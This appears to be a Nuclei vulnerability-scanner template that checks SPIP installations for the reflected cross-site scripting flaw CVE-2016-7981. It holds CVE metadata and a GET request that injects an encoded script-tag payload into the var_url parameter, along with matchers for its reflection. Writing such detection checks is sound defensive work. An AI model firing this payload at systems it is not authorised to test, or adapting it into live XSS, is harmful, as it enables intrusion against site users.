53 lines
1.7 KiB
YAML
53 lines
1.7 KiB
YAML
id: CVE-2016-7981
|
|
|
|
info:
|
|
name: SPIP <3.1.2 - Cross-Site Scripting
|
|
author: pikpikcu
|
|
severity: medium
|
|
description: |
|
|
SPIP 3.1.2 and earlier contains a cross-site scripting vulnerability in valider_xml.php which allows remote attackers to inject arbitrary web script or HTML via the var_url parameter in a valider_xml action.
|
|
remediation: |
|
|
Upgrade SPIP to version 3.1.2 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://core.spip.net/projects/spip/repository/revisions/23202
|
|
- https://core.spip.net/projects/spip/repository/revisions/23201
|
|
- https://core.spip.net/projects/spip/repository/revisions/23200
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2016-7981
|
|
- http://www.openwall.com/lists/oss-security/2016/10/05/17
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2016-7981
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00258
|
|
epss-percentile: 0.63378
|
|
cpe: cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: spip
|
|
product: spip
|
|
tags: cve,cve2016,xss,spip
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/ecrire/?exec=valider_xml&var_url=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"></script><script>alert(document.domain)</script>'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a00473045022014517abdcc750c599dcdd82a7dcfd7437b19da17b4459e19b73261f87934dbd7022100bdd718b2dbc9f9b4e8d8eb6872d58ebeea62ba1b412fde1db7aa10ebf818ed3a:922c64590222798bb761d5b6d8e72950
|